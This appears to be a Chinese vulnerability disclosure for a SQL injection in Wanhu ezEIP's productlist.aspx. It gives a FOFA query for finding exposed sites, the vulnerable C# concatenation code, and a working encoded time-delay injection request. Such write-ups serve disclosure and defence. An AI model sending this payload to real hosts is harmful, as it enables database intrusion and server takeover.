漏洞简介

万户ezEIP是一种企业资源规划软件，旨在帮助企业管理其各个方面的业务流程。它提供了一套集成的解决方案，涵盖了财务、供应链管理、销售和市场营销、人力资源等各个领域。万户ezEIP productlist.aspx 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

fofa语法

app="万户网络-ezEIP" || (body="ezEIP"||header="ezEIP")

漏洞分析

//绑定已选中的搜选项
    private void BindChooseSearchValue()
    {
        string SearchValues = RequestUtil.Instance.GetString("svids").Replace("'", "");
        SearchValues = SearchValues.Trim(',');
        if (!string.IsNullOrEmpty(SearchValues))
        {
            StringBuilder searchHtml = new StringBuilder();
            SearchValues = Server.UrlDecode(SearchValues);
            string SQL = "SELECT S.SearchName,SV.SearchValueID,SV.SearchValueName FROM Whir_Shop_SearchValue SV LEFT JOIN Whir_Shop_Search S ON SV.SearchID=S.SearchID WHERE SV.SearchValueID IN (" + SearchValues + ")";
            List<ShopSearchValue> ssvlist = ShopSearchValueService.Instance.Query<ShopSearchValue>(SQL).ToList();
            foreach (ShopSearchValue ssv in ssvlist)
            {
                searchHtml.Append("<a  svid=\"" + ssv.SearchValueID + "\" style=\"cursor:pointer;\">" + ssv.SearchName + "：" + ssv.SearchValueName + "&nbsp;&nbsp;×</a>");
            }
            ltChooseSearchValue.Text = searchHtml.ToString();
        }
    }

svids 直接拼接进SQL语句执行，造成SQL注入漏洞。

漏洞复现

POST /shop/productlist.aspx HTTP/1.1
Host: ezeip.mrxn.net
Content-Type: application/x-www-form-urlencoded

ob=price&price=asc&svids=1%29%3BDECLARE+%40%40test+VARCHAR%28100%29%3BSet+%40%40test%3DChar%28115%29%252bChar%28101%29%252bChar%28108%29%252bChar%28101%29%252bChar%2899%29%252bChar%28116%29%252bChar%2832%29%252bChar%2849%29%252bChar%2832%29%252bChar%28119%29%252bChar%28104%29%252bChar%28101%29%252bChar%28114%29%252bChar%28101%29%252bChar%2832%29%252bChar%2849%29%252bChar%2861%29%252bChar%2849%29%252bChar%2832%29%252bChar%2887%29%252bChar%2865%29%252bChar%2873%29%252bChar%2884%29%252bChar%2870%29%252bChar%2879%29%252bChar%2882%29%252bChar%2832%29%252bChar%2868%29%252bChar%2869%29%252bChar%2876%29%252bChar%2865%29%252bChar%2889%29%252bChar%2832%29%252bChar%2839%29%252bChar%2848%29%252bChar%2858%29%252bChar%2848%29%252bChar%2858%29%252bChar%2851%29%252bChar%2839%29%3BEXECUTE+%28%40%40test%29%3B--

成功延时 3 秒